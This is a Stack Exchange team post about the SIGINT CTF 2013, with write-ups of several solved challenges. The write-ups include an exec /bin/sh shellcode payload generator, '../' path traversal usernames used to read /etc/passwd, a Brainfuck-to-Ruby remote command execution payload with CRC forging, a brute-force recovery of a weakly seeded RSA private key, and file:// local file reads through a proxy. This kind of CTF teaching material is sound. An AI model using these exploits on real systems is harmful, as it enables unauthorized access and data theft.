Let's participate in the SIGINT CTF 2013 as team Sec.SE.

During this years SIGINT in Cologne the CCCAC will hold it's second CTF.

The competition is open to everyone and can be played online. Challenges will be online from July 5, 18:00 CEST until July 7, 18:00 CEST (48h).

As always, obey the CTF etiquette and don't ruin other player's fun. The challenges will be much like the 29C3-CTF last year.

Follow us on twitter: @CCCAC_CTF

Join our IRC Channel: #cccac-ctf @hackint

As usual, the team communicates through the CTF team chatroom. Shortly before the competition, the room will be switched to private and the team password will be posted to the room. Participation is open to anyone with participation on Security Stack Exchange or related Stack Exchange sites — ping one of us on the meta post or in the DMZ to request access.

So if you know or want to learn by doing about remote exploitation, binary reversing, web, forensics and other security topics, join us in the CTF team chatroom on Friday 5 July around 16:00 GMT (9:00 PDT, 12:00 EDT, 18:00 CEST, 21:30 IST, 23:59 SGT, …).


Update: CTF has ended! Our CTF team members have managed to secure 18th place with 1800 points out of 115 participating teams that have successfully completed at least one challenge. Our team has managed to complete 8 out of 20 challenges:

Challenge             Score
---------------------------
misc/punchcard        300
misc/PROtocol         200
crypto/satisfaction   300
pwning/baremetal      100
cloud/notes           400
cloud/mail            100
misc/proxy            200
crypto/rsa            200

Good work! Write-ups are included in the answers below.

  • I'm in. Try to remind me on Thursday so I don't forget, though :) Alternatively, just use this code in the console of the room access list to get superping codes for the team and ping everyone the day before the competition. – Manishearth Jul 1 '13 at 10:44
  • I'm in if you all will let me. I have never done a CTF before so I'm total n00b I'll try to help not hinder :) – Four_0h_Three Jul 3 '13 at 14:54

baremetal

Lynks and I worked on this challenge as a team.

We were given an executable file named baremetal, an IP address, and a port.

$ file baremetal
baremetal: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, stripped

First, we looked for strings in the file and ran it (in a safe environment).

$ strings baremetal
~Fh
baremetal online
Sequence OK
Bad Sequence
$ ./baremetal
baremetal online
<here it pauses so we send the program a random line of data>
Bad Sequence
$ strace ./baremetal
execve("./baremetal", ["./baremetal"], [/* 40 vars */]) = 0
[ Process PID=16342 runs in 32 bit mode. ]
write(1, "baremetal online\n", 17baremetal online
)      = 17
read(0, randomdata
"randomdata\n", 61)             = 11
write(1, "Bad Sequence\n", 13Bad Sequence
)          = 13
_exit(0)                                = ?
+++ exited with 0 +++

The program reads 61 bytes from stdin. We determined that the same program was being hosted on the port/IP address that we were given.

$ netcat <ip> <port>
baremetal online
<sent some random data>
Bad Sequence

We disassembled the program's .text section and mapped it out a bit.

; A {
8048080:    68 98 91 04 08           push   $0x8049198   ; stack += "baremetal online"
8048085:    ; save in edi
804808a:    e9 cd 00 00 00           jmp    0x804815c    ; goto 'E'
; }

; FC {
804808f:    50                       push   %eax         ; stack += eax
8048090:    68 98 91 04 08           push   $0x8049198   ; stack += "baremetal online"
8048095:    ; save in edi
804809a:    e9 aa 00 00 00           jmp    0x8048149
; }

; FD {
804809f:    8d 05 04 92 04 08        lea    0x8049204,%eax     ; eax = 0x8049204
80480a5:    c7 00 47 47 ff e7        movl   $0xe7ff4747,(%eax) ; putting some value at an arbitrary point in memory
80480ab:    6a 3d                    push   $0x3d              ; read size
80480ad:    68 c8 91 04 08           push   $0x80491c8         ; read memory location
80480b7:    e9 b3 00 00 00           jmp    0x804816f
; }

; FE {
80480bc:    68 c8 91 04 08           push   $0x80491c8        ; data from read
80480c1:    ; save in edi
80480c6:    e9 91 00 00 00           jmp    0x804815c         ; goto 'E' (string size in eax, then to 'FF')
; }

; FF {
80480cb:    83 f8 20                 cmp    $0x20,%eax
80480ce:    7e 46                    jle    0x8048116    ; if read length <= 0x20, goto 'FFA'
80480d0:    68 c8 91 04 08           push   $0x80491c8   ; address for read data onto stack
80480d5:    ; save in edi
80480da:    e9 a0 00 00 00           jmp    0x804817f
; }

; FFB {
; if (ebx != 0x1ee7) {
    80480df:    81 fb e7 1e 00 00        cmp    $0x1ee7,%ebx
    80480e5:    75 2f                    jne    0x8048116    ; goto 'FFA' ("Bad Sequence")
; }
80480e7:    8d 0d 04 92 04 08        lea    0x8049204,%ecx  ; put value here into ebx (this value was added there at 'FD')
80480ed:    0f b6 19                 movzbl (%ecx),%ebx
; if (ebx != 0) {
    80480f0:    85 db                    test   %ebx,%ebx
    80480f2:    74 07                    je     0x80480fb
    80480f4: ; save in edi
    80480f9:    ff e1                    jmp    *%ecx        ; goto mystery location
    ; which apparently does
    ; edi += 2
    ; goto edi
    ; ending up at 80480fb
; }
80480fb:    68 aa 91 04 08           push   $0x80491aa  ; onto stack
8048100:    ; save in edi
8048105:    eb 55                    jmp    0x804815c   ; goto 'E'
8048107:    50                       push   %eax        ; eax onto stack
8048108:    68 aa 91 04 08           push   $0x80491aa  ; onto stack again
804810d:    ; save in edi
8048112:    eb 35                    jmp    0x8048149   ; and write the data at that location
8048114:    eb 19                    jmp    0x804812f   ; then exit
; }

; FFA }
8048116:    68 b7 91 04 08           push   $0x80491b7  ; "Bad Sequence" to stack
804811d:    ; save in edi
8048120:    eb 3a                    jmp    0x804815c   ; goto 'E', then 'FG'
; }

; FG
8048122:    50                       push   %eax       ; string length on stack
8048123:    68 b7 91 04 08           push   $0x80491b7 ; "Bad Sequence" to stack
8048128:    ; save in edi
804812d:    eb 1a                    jmp    0x8048149  ; goto 'W' (write "Bad Sequence")
804812f:    b8 01 00 00 00           mov    $0x1,%eax  ; exit syscall
8048134:    bb 00 00 00 00           mov    $0x0,%ebx  ; zero return value
8048139:    cd 80                    int    $0x80

; G {
; Modifies edi, jump to it
; for (; (*edi & 0x00FF) != 0; edi++) {
    804813e:    8b 0f                    mov    (%edi),%ecx  ; put value at edi in ecx
    8048140:    84 c9                    test   %cl,%cl      ; break if lower ecx != 0
    8048142:    75 03                    jne    0x8048147    ; ^
    8048144:    47                       inc    %edi         ; edi++
    8048145:    eb f7                    jmp    0x804813e    ; loop back to top
; }
; first: edi = 0x804808f          ('FC')
; second: edi = 0x804809f         ('FD')
; third (from 'H'): 0x80480bc     ('FE')
; fourth (from 'FE'): 0x80480cb   ('FF')
; fifth (from 'E/FFA'): 0x8048122 ('FG')
; sixth (from 'I'): 0x80480df     ('FFB')
8048147:    ff e7                    jmp    *%edi        ; goto the result
; }

; W {
; Writes data with pointer on stack 
8048149:    b8 04 00 00 00           mov    $0x4,%eax ; write syscall number
804814e:    bb 01 00 00 00           mov    $0x1,%ebx ; stdout
8048153:    59                       pop    %ecx      ; data pointer
8048154:    5a                       pop    %edx      ; size
8048155:    cd 80                    int    $0x80     ; write syscall
8048157:    83 c7 02                 add    $0x2,%edi ; edi += 2
804815a:    eb e2                    jmp    0x804813e
}

; E {
; Puts string length in eax
804815c:    31 c0                    xor    %eax,%eax       ; eax = 0
804815e:    5b                       pop    %ebx
; foreach (ecx in ebx) {
    804815f:    0f b6 0b                 movzbl (%ebx),%ecx  ; first letter into ecx
    ; if (ecx == 0) {
        8048162:    84 c9                    test   %cl,%cl
        8048164:    74 04                    je     0x804816a ; break
    ; }
    8048166:    40                       inc    %eax         ; eax++
    8048167:    43                       inc    %ebx
    8048168:    eb f5                    jmp    0x804815f    ; back to top
; }
804816a:    83 c7 02                 add    $0x2,%edi ; edi += 2
; first: edi = 0x804808c
; second (from 'FE'): edi = 0x80480c8
; third (from 'FFA'): edi = 0x8048122
804816d:    eb cf                    jmp    0x804813e ; goto 'G'
; }

; H {
; Reads 0x3d (61) bytes from stdin
804816f:    b8 03 00 00 00           mov    $0x3,%eax  ; syscall read
8048174:    31 db                    xor    %ebx,%ebx  ; stdin
8048176:    59                       pop    %ecx       ; ecx = 0x80491c8 (read to)
8048177:    5a                       pop    %edx       ; edx = 0x3d (read size)
8048178:    cd 80                    int    $0x80
; edi = 0x80480b7
804817a:    83 c7 02                 add    $0x2,%edi  ; edi += 2
; edi = 0x80480b9
804817d:    eb bf                    jmp    0x804813e  ; goto 'G'
; }

; I {
; Sums up letters in read data, stores in ebx
804817f:    58                       pop    %eax               ; read address
8048180:    31 db                    xor    %ebx,%ebx          ; ebx = 0
8048182:    31 c9                    xor    %ecx,%ecx          ; ecx = 0
; IA
8048184:    8d 14 08                 lea    (%eax,%ecx,1),%edx ; ???
; edx = 0x80491c8 (read data location)
8048187:    0f b6 12                 movzbl (%edx),%edx        ; edx = *edx
; if (edx != 0) {
    804818a:    84 d2                    test   %dl,%dl
    804818c:    74 05                    je     0x8048193
    804818e:    01 d3                    add    %edx,%ebx       ; ebx += edx
    8048190:    41                       inc    %ecx            ; ecx++
    8048191:    eb f1                    jmp    0x8048184       ; back to IA
; } else
    8048193:    83 c7 02                 add    $0x2,%edi
    8048196:    eb a6                    jmp    0x804813e        ; goto 'G'
; }
; }

We determined that in order to get the program to print "Sequence OK", we had to send it a string that was at least 32 bytes in length and had a byte-sum of 7911. The data that the program read from stdin was loaded into memory at address 0x80491c8. At address 0x80480a5, the program loads four bytes into memory at address 0x8049204, 60 bytes above the address at which the data read from stdin is loaded into memory, for execution right before "Sequence OK" is printed (address 0x80480f9).

804809f:   8d 05 04 92 04 08    lea    0x8049204,%eax
80480a5:   c7 00 47 47 ff e7    movl   $0xe7ff4747,(%eax) ; loading the instructions into memory

Here are the four bytes that are executed:

8049204:   46      inc    %edi
8049205:   46      inc    %edi
8049206:   ff e7   jmp    *%edi

Since 61 bytes are read from stdin, we are able to overwrite one byte. Naturally, we looked for ways to execute the rest of the data read from stdin. We generated a list of possibilities and realized that if we overwrote the first byte with 0x97, the instructions would become

8049204:   97      mov    %eax,%edi
8049205:   46      inc    %edi
8049206:   ff e7   jmp    *%edi

It just so happened that the %eax register contained the start address of the data read from stdin. %edi was incremented before the jump so we were able to jump to the second byte of our data. We wrote a script to generate some simple exec /bin/sh shellcode.

#!/bin/bash
# read mem 0x80491c8
# jump point 0x8049204
# payload until the first null bytes must add up to 7911
# and must be at least 32 bytes long
#
# Payload (no newlines):
#   <padding>
#   <exec code>
#   "/bin/shell\0"
#   <jump code>
# The jump code is executed. It calls the exec code. The exec code execs
#  /bin/sh. 
# The padding comes first because it doesn't have any null characters.

gettext() {
    objdump -sj .text "$1" | sed '1,4d' | xxd -r
}

shell=/bin/sh

as --32 -march=i686 <<\EOF
xor %eax,%eax
xor %edx,%edx
push %edx
push $0x68732f6e
push $0x69622f2f
mov %esp,%ebx
push %edx
push %ebx
mov %esp,%ecx
mov $0xb,%al
int $0x80
EOF
# Bash can't store null characters in variables so we have to use temporary files.
front=$(mktemp)
gettext a.out > $front

# (jump code)
end=$'\x97'

size=$(( $(cat $hop <(echo -n $shell) $front <(echo -n $end) | wc -c) ))

if (( $size > 61 )) ; then
    echo "Payload too large!"
    exit 1
fi

needed=$(( 61 - $size - 1)) 
# One of these
fill_char='\x11'
# A bunch of these
flat_char='\xaa'
for i in $(seq 3 $needed) ; do
    padding=$flat_char$padding
done
# We had to add a 'nop' instruction to get the alignment right.
padding=$fill_char$padding$'\x90'

printf '%s' "$padding"
cat $front
printf '%s\x0' "$shell"
printf '%s' "$end"

rm -f $front

We appended some commands to the payload for the shell to run and sent the payload to the server.

$ { ./make-payload && echo 'cat /home/challenge/flag' } | netcat <ip> <port>
baremetal online
...

Here's a write-up for the challenges that I participated in enough to follow the solution. We had several good team efforts, not all of these are my own work.

11. mail

This is a file upload service over email. We can send commands: signup, list, put, get, delete, share. The user name is taken from the email's From: address.

Looking at the server source code, we can see that user names are not validated. The directory of a user whose address is username@example.com is example.com___username. If you want to receive the replies to your commands, you need to use a domain where you can receive mail, but many domains give you some variation on the username, which allows you to append interesting suffixes to the user directory. In particular, many servers (including GMail) redirect all addresses of the form username+suffix@example.com to the main username@example.com address. Alternatively, you can use a disposable email service such as http://mailinator.com.

The main trick is to use ../ in the user name to escape our user directory. For example, supposing you are eve@gmail.com, sign up as eve+@gmail.com. This creates the user directory gmail.com___eve+. You can then use usernames of the form eve+/../something to access directories on the server of the form gmail.com___eve+/../something. For example, you can access the account of alice@example.com via eve+/../example.com___alice@gmail.com.

Armed with this trick, we explored the filesystem. There were many red herrings, left either by the contest organizers or by other contestants. The addresses mentioned in the problem description (hans@ck.er and sales@cloud.cloud) both had an account, as did admin@b3.ctf.sigint.ccc.de and test@b3.ctf.sigint.ccc.de. We could access the user list by sending the list command as eve+/..@gmail.com. None of these led to the flag, though.

Finally Manishearth thought of looking at /etc/passwd (get passwd from eve+/../../../../etc@gmail.com), where the flag was hiding in the Gecos field of the challenge user.

14. punchcard

We get a images of punchcards. The first step is to parse them into text — write a software punchcard reader. These are IBM 80-column punched cards and the encoding turns out to be EBCDIC.

#! /usr/bin/env python
import sys
from PIL import Image

EBCDIC = {
    ''     : '',
    '1'    : '1',
    '2'    : '2',
    '3'    : '3',
    '4'    : '4',
    '5'    : '5',
    '6'    : '6',
    '7'    : '7',
    '8'    : '8',
    '9'    : '9',
    '18'   : '`',
    '28'   : ':',
    '38'   : '#',
    '48'   : '@',
    '58'   : '\'',
    '68'   : '=',
    '78'   : '"',
    'Y'    : '&',
    'Y1'   : 'A',
    'Y2'   : 'B',
    'Y3'   : 'C',
    'Y4'   : 'D',
    'Y5'   : 'E',
    'Y6'   : 'F',
    'Y7'   : 'G',
    'Y8'   : 'H',
    'Y9'   : 'I',
    #'Y18'  : '',
    #'Y28'  : '',
    'Y38'  : '.',
    'Y48'  : '<',
    'Y58'  : '(',
    'Y68'  : '+',
    'Y78'  : '|',
    'X'    : '-',
    'X1'   : 'J',
    'X2'   : 'K',
    'X3'   : 'L',
    'X4'   : 'M',
    'X5'   : 'N',
    'X6'   : 'O',
    'X7'   : 'P',
    'X8'   : 'Q',
    'X9'   : 'R',
    #'X18'  : '',
    'X28'  : '!',
    'X38'  : '$',
    'X48'  : '*',
    'X58'  : ')',
    'X68'  : ';',
    'X78'  : ' ',
    '0'    : '0',
    '01'   : '/',
    '02'   : 'S',
    '03'   : 'T',
    '04'   : 'U',
    '05'   : 'V',
    '06'   : 'W',
    '07'   : 'X',
    '08'   : 'Y',
    '09'   : 'Z',
    #'018'  : '',
    '028'  : '\\',
    '038'  : ',',
    '048'  : '%',
    '058'  : '_',
    '068'  : '>',
    '078'  : '?',
}

def read_image(filename):
    img = Image.open(filename)
    for j in xrange(80):
        columns = ''
        for i in xrange(12):
            color = img.getpixel((86 + 8 * j, 50 + 26 * i))
            if color == (255,255,255,255): columns += 'YX0123456789'[i]
        sys.stdout.write(EBCDIC[columns])
    sys.stdout.write('\n')

if __name__ == '__main__':
    for filename in sys.argv[1:]:
        read_image(filename)

The result is unsurprisingly a FORTRAN program.

C ==========================================================================
C FIND THE VALID PIN ( 4 DIGITS ) TO GET THE FLAG
C ==========================================================================
      PROGRAM SPARSESYMSOLVE
COM
      CHARACTER*64                                       :: MESSAGE 
     & = "PIN:"
      CHARACTER*8                                        :: INPUT
      DOUBLE PRECISION                                   :: A(800,800)
      DOUBLE PRECISION                                   :: ALPHA
      DOUBLE PRECISION                                   :: RSNEW
      DOUBLE PRECISION                                   :: RSOLD
      DOUBLE PRECISION                                   :: B(800)
      DOUBLE PRECISION                                   :: X(800)
      DOUBLE PRECISION                                   :: R(800)
      DOUBLE PRECISION                                   :: P(800)
      DOUBLE PRECISION                                   :: AP(800)
      DOUBLE PRECISION                                   :: RINPUT(4)
      CHARACTER*32                                       :: HASH_TEST
      CHARACTER*32                                       :: HASH_VALID
COM
101   FORMAT(F1.0)
102   FORMAT(800(E13.7,3X))
103   FORMAT(A32)
COM
COM   
      PRINT *,MESSAGE
      READ  *,INPUT
COM 
COM
COM
      IC = SIZE(B) / 4
      DO                                         100 I = 1,4
              READ(INPUT(I:I),101) RINPUT(I)
100   CONTINUE 
      DO                                         200 I = 1,IC
              B((I-1)*4+1:I*4) = RINPUT(1:4)
200   CONTINUE
COM   
COM
COM   
      OPEN(UNIT=11,FILE="MATRIX.CSV",STATUS="OLD",ACTION="READ")
      DO                                         300 I = 1,800
              DO                                 310 J = 1,800
                      READ (11,102) A(I,J)
310   CONTINUE
300   CONTINUE
      CLOSE(UNIT=11)
COM  
COM
COM  
      X = 0
      R =  B - MATMUL(A,X)
      P = R
      RSOLD = DOT_PRODUCT(R,R)
      DO                                         400 I = 1,800*2
              AP = MATMUL(A,P)
              ALPHA = RSOLD/DOT_PRODUCT(P,AP)
              X = X + ALPHA * P
              R = R - ALPHA * AP
              RSNEW = DOT_PRODUCT(R,R)
              IF (SQRT(RSNEW) .LT. 1E-8) THEN
                      EXIT
              ENDIF
              P = R + RSNEW/RSOLD*P
              RSOLD = RSNEW
400   CONTINUE
COM
COM
COM
      OPEN(UNIT=12,FILE="SOL.TMP",ACTION="WRITE")
      WRITE (12,102), X
      CLOSE(UNIT=12)
COM  
      CALL SYSTEM ('MD5SUM < SOL.TMP > HASH.TMP')
COM
      OPEN(UNIT=13,FILE="HASH.TMP",ACTION="READ")
      READ (13,103), HASH_TEST
      CLOSE(UNIT=13)
COM
      OPEN(UNIT=13,FILE="HASH.VALID",ACTION="READ")
      READ (13,103), HASH_VALID
      CLOSE(UNIT=13)
COM
      IVALID = 1
      IF (HASH_TEST .NE. HASH_VALID) THEN
              IVALID = 0
      ENDIF
COM
      IF (IVALID .EQ. 1) THEN
              PRINT *,"YOU GOT THE FLAG!"
              CALL SYSTEM
     & ('ECHO "SIGINT_$(SHA224SUM < SOL.TMP)" > FLAG')
      ENDIF
COM 
      END PROGRAM SPARSESYMSOLVE

Run it with a few uppercase-name commands in the search path, and with the supplied files MATRIX.CSV and HASH.VALID in the current directory (renamed to uppercase). It takes less than 1 second per attempt on my machine, so I didn't try to speed up the program, I just let it ran for a few hours.

ln -s /bin/echo ECHO
ln -s /usr/bin/md5sum MD5SUM
ln -s /usr/bin/sha224sum SHA224SUM
ln -s punchcard/matrix.csv MATRIX.CSV
ln -s punchcard/hash.valid HASH.VALID
gfortran -O9 source.f
for pin in {0000..9999}; do echo $pin; PATH=$PATH:. echo $pin | ./a.out; echo '===='; done >transcript

The PIN is 9374.

16. rsa

We get an authorized_keys file and a Python script that generates an SSH key pair. The key is generated using a simple pseudorandom generator that uses the time as the seed. We have the public key in authorized_keys file, so we need to find the seed time that corresponds to that public key.

First, the PRNG is extremely slow as written because it's computing insanely large numbers. Only the lowest-order bits of these numbers are ever used, so we can truncate them. 32 bits are enough and make the speed sufficient.

Second, extract the modulus from the SSH public key.

ssh-keygen -m PKCS8 -e -f authorized_keys |
sed -e '1d' -e '$d' |
hexdump -C1

This plus a bit of manual ASN.1 decoding gives us a 1024-bit modulus and the public exponent 65537.

Now we brute-force the seed, working backwards from the starting time of the contest.

#!/usr/bin/env python

from time import time
import os
from Crypto.PublicKey import RSA

SEED2 = None
os.umask(0077)

target = 0xbe2bac35ca87627aacabc899d4607c3f66ec9c69b4f4121c20e1716a6587e1fdeb84e102173c9db7c22757254288abc1aac22e4cfcf6beeff8003de55cadc17ae6952478861e6415e801e0e3d04aa917188775207f2b53afb7f948166046de1cbe31524b61fcfa9414714308fe089464157d977ffe49c995922b95305ce961d3

def generate(time):
    global SEED2
    SEED2 = time

    def randfunc(n):
        def rand():
            #global SEED
            global SEED2
            #SEED = SEED*0x1333370023004200babe004141414100e9a1192355de965ab8cc1239cf015a4e35 + 1
            SEED2 = (SEED2 * 0x015a4e35 + 1) & 0xffffffff
            #print (SEED >> 0x10) & 0x7fff, (SEED2 >> 0x10) & 0x7fff
            return (SEED2 >> 0x10) & 0x7fff
        ret = ""
        while len(ret) < n:
            ret += chr(rand() & 0xff)
        return ret


    keypair = RSA.generate(1024, randfunc)
    if keypair.n == target:
        with open("id_rsa", "w") as privfile:
            privfile.write(keypair.exportKey())
            print time
            exit(0)

for time in range(1373040000, 1373040000-86400, -1):
    generate(time)

A few minutes later this program prints out 1373038672 and exits.

$ ssh -i id_rsa challenge@188.40.147.109
…
challenge@ubuntu:~$ ls
flag.txt
challenge@ubuntu:~$ cat flag.txt; echo
SIGINT_some_people_pay_100_euro_for_this

17. satisfaction

The server reads a Brainfuck program and a signature. It computes the signature of the program; if the signature is valid, the brainfuck program is executed. It must output a Ruby snippet which is executed through eval.

Let's look at the signature first. sig is the signature read from the input, and $d and $n are unknown.

crc = crc32(code)
test = crc.to_bn.mod_exp($d, $n)
return sig == test

Without knowing $d and $n, we cannot find the correct sig value! Except, that is, if crc is 0 or 1, in which case the signature is 0 or 1. So we will strive to produce code whose CRC is 0 or 1.

The Brainfuck code must output a Ruby shellcode. This shellcode is executed through eval. Its standard input and standard output are not connected to the network socket. Furthermore, a look at the Brainfuck interpreter shows that the Brainfuck code must execute for no more than 1000 steps and has access to 100 memory cells. After a few false tries, I settled on client.puts`#{client.gets}`, which is produced by this simple Brainfuck code (which we'll strip of its whitespace before submission):

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.
+++++++++.
---.
----.
+++++++++.
++++++.
>++++++++++++++++++++++++++++++++++++++++++++++.<
----.
+++++.
-.
-.
-------------------.
>-----------.<
+++++++++++++++++++++++++++.
------------------------.
+++++++++.
---.
----.
+++++++++.
++++++.
>+++++++++++.<
-------------.
--.
+++++++++++++++.
-.
++++++++++.
-----------------------------.

Now we need to pad this program so that the resulting CRC is 0 or 1. We're only allowed to use the characters -+<>[]. — active Brainfuck characters plus space. I wrote a program to compute CRC values and brute-force a padding with a desired CRC. Since there are 7 possible characters (skipping . which might result in broken output), and 2³¹ ≈ 7¹¹, we can expect that there is a 12-character padding that produces a suitable value.

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>

#define MASK 0x04C11DB7

char payload[] = "..+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.+++++++++.---.----.+++++++++.++++++.>++++++++++++++++++++++++++++++++++++++++++++++.<----.+++++.-.-.-------------------.>-----------.<+++++++++++++++++++++++++++.------------------------.+++++++++.---.----.+++++++++.++++++.>+++++++++++.<-------------.--.+++++++++++++++.-.++++++++++.-----------------------------.";
char alphabet[] = " -+<>[]";

uint32_t crc32(uint32_t init, char *s)
{
    uint32_t crc = init;
    int shift;
    int flip;
    while (*s) {
        for (shift = 7; shift >= 0; shift--) {
            flip = (crc >> 31) == (*s >> shift & 1);
            crc = crc << 1;
            if (flip) crc = crc ^ MASK;
        }
        ++s;
    }
    return crc;
}

int main (int argc, char *argv[])
{
    uint32_t payload_crc = crc32(0, payload);
    uint32_t crc;
    char scratch[99] = {0};
    unsigned char i0, i1, i2, i3, i4, i5, i6, i7, i8, i9, i10, i11;
    for (i0 = 1/*skip space for easier copy-paste*/; i0 < sizeof(alphabet)-1; i0++) {
        scratch[0] = alphabet[i0];
        for (i1 = 0; i1 < sizeof(alphabet)-1; i1++) {
            scratch[1] = alphabet[i1];
            for (i2 = 0; i2 < sizeof(alphabet)-1; i2++) {
                scratch[2] = alphabet[i2];
                for (i3 = 0; i3 < sizeof(alphabet)-1; i3++) {
                    scratch[3] = alphabet[i3];
                    for (i4 = 0; i4 < sizeof(alphabet)-1; i4++) {
                        scratch[4] = alphabet[i4];
                        for (i5 = 0; i5 < sizeof(alphabet)-1; i5++) {
                            scratch[5] = alphabet[i5];
                            for (i6 = 0; i6 < sizeof(alphabet)-1; i6++) {
                                scratch[6] = alphabet[i6];
                                for (i7 = 0; i7 < sizeof(alphabet)-1; i7++) {
                                    scratch[7] = alphabet[i7];
                                    for (i8 = 0; i8 < sizeof(alphabet)-1; i8++) {
                                        scratch[8] = alphabet[i8];
                                        for (i9 = 0; i9 < sizeof(alphabet)-1; i9++) {
                                            scratch[9] = alphabet[i9];
                                            for (i10 = 0; i10 < sizeof(alphabet)-1; i10++) {
                                                scratch[10] = alphabet[i10];
                                                for (i11 = 1/*skip space for easier copy-paste*/; i11 < sizeof(alphabet)-1; i11++) {
                                                    scratch[11] = alphabet[i11];
                                                    crc = crc32(payload_crc, scratch);
                                                    if (! (crc & ~1)) {
                                                        printf("%08x %s\n", crc, scratch);
                                                    }
                                                }
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
    }
    return 1;
}

After a few minutes, we find that the padding +<<>+ [[[- < for the payload above results in a CRC of 1. So we submit the following input to the challenge server:

..+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.+++++++++.---.----.+++++++++.++++++.>++++++++++++++++++++++++++++++++++++++++++++++.<----.+++++.-.-.-------------------.>-----------.<+++++++++++++++++++++++++++.------------------------.+++++++++.---.----.+++++++++.++++++.>+++++++++++.<-------------.--.+++++++++++++++.-.++++++++++.-----------------------------.+<<>+ [[[- <
1
cat the_flag.rb

And the output is:

welcome to the Brainfuck Execution As A Service Cloud
please submit your properly RSA signed brainfuck code
#The flag is: goozbartouuu

18. PROtocol

We're told to connect to a certain IP and port. But it's not tcp and not udp. MMavipc (I think) observed that there was a response on SCTP port 1024. On every connection, socat - SCTP-CONNECT:188.40.147.103:1024 produces a string like the following:

945c7bceb37fTa27dadbd7cI9cde8d43I5286153c94a16f3da3df0cf3819152a509952d50fdb_ad23G81ec5489bf62ced620N0Sa02c

Some observations:

  • The server doesn't seem to read any input, it emits a 107-byte string per connection every time.
  • The 107-byte string is always a permutation of the same string, which contains SIGINT_ and 100 hexadecimal digits.
  • The permutation depends on the time: it's different at almost every connection, except that two near-simultaneous connections result in the same string.

MMavipc made the second crucial observation that the packets need to be reordered by SID (stream identifier). So I looked at one connection with tcpdump and saw that I was receiving 1-byte packets out of order, like this:

    1) [DATA] (B)(E) [TSN: 1096613863] [SID: 74] [SSEQ 0] [PPID 0x0] [Payload:        0x0000:  62                                       b
    1) [DATA] (B)(E) [TSN: 1096613863] [SID: 74] [SSEQ 0] [PPID 0x0] [Payload:        0x0000:  62                                       b
    2) [DATA] (B)(E) [TSN: 1096613864] [SID: 60] [SSEQ 0] [PPID 0x0] [Payload:        0x0000:  37                                       7
    3) [DATA] (B)(E) [TSN: 1096613865] [SID: 10] [SSEQ 0] [PPID 0x0] [Payload:        0x0000:  33                                       3

Note that in this trace one packet was duplicated, it needs to be included only once. From this trace (which should have all SIDs from 0 to 106) sorting the packets and extracting the payloads is an easy one-liner:

$ <capture sort -u -k7n | perl -ane 'print chr(hex($F[13]))'; echo
SIGINT_d9132894af6ecdc303f1ce61ccf35ab22da4d9175609b328d52ce7fd2c9a15d8a8dba05bd297ac04758b0de06354f392f5cd
  • SID is stream id, not sequence id. – Avery3R Jul 7 '13 at 23:17

proxy

There was a simple proxy server-like application running on 188.40.147.125:8080

#!/usr/bin/env python

import SocketServer
import SimpleHTTPServer
import urllib2
import logging
from urlparse import urlparse


logging.basicConfig(level=logging.INFO,
    format='%(asctime)s - %(levelname)s - %(message)s')


class Proxy(SimpleHTTPServer.SimpleHTTPRequestHandler):
    def do_GET(self):
        parsed_url = urlparse(self.path)
        logging.info(parsed_url)
        if parsed_url.netloc == "localhost":
            self.copyfile(urllib2.urlopen(self.path), self.wfile)


SocketServer.TCPServer.allow_reuse_address = True
httpd = SocketServer.ForkingTCPServer(('', 8080), Proxy)
httpd.serve_forever()

This basically accepts GET requests to localhost, and returns the corresponding file.

You can use this simple bash script to talk to it:

#!/bin/bash
echo -e 'GET '$1' HTTP/1.1\r\n\r\n'|nc 188.40.147.125 8080

with the parameter being the page you want.

If you attempt to fetch http://localhost/, you get a list of active Internet connections:

Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       User       Inode       PID/Program name
tcp        0      0 127.0.0.1:80            0.0.0.0:*               LISTEN      0          20241       5001/lighttpd
tcp        0      0 0.0.0.0:8080            0.0.0.0:*               LISTEN      1000       7190        392/python
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      0          9472        1057/sshd
tcp6       0      0 :::22                   :::*                    LISTEN      0          9474        1057/sshd
udp        0      0 0.0.0.0:6126            0.0.0.0:*                           0          8253        789/dhclient
udp        0      0 0.0.0.0:45108           0.0.0.0:*                           0          8960        1025/dhclient
udp        0      0 0.0.0.0:68              0.0.0.0:*                           0          8311        789/dhclient
udp6       0      0 :::546                  :::*                                0          9000        1025/dhclient
udp6       0      0 :::45108                :::*                                0          8256        789/dhclient
udp6       0      0 :::48892                :::*                                0          8961        1025/dhclient

So there was a lighttpd server on port 80 (and an index.html file). Poking around on this server, we found nothing. (This was a red herring)

I was trying to see if I could fool urlparse into picking up the wrong netloc. An interesting case was a URL like example.com://localhost. It does indeed fool urlparse, and at the same time it fetches http://example.com/localhost in Chrome. However, urllib2 coughs up on it. It seemed like urlparse and urllib2 had the same way of looking at URLs. Bummer.

Finally, lynks got it. He realized that file:// worked perfectly well in urllib2, and fetching file://localhost/etc/passwd you get

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
whoopsie:x:103:106::/nonexistent:/bin/false
landscape:x:104:109::/var/lib/landscape:/bin/false
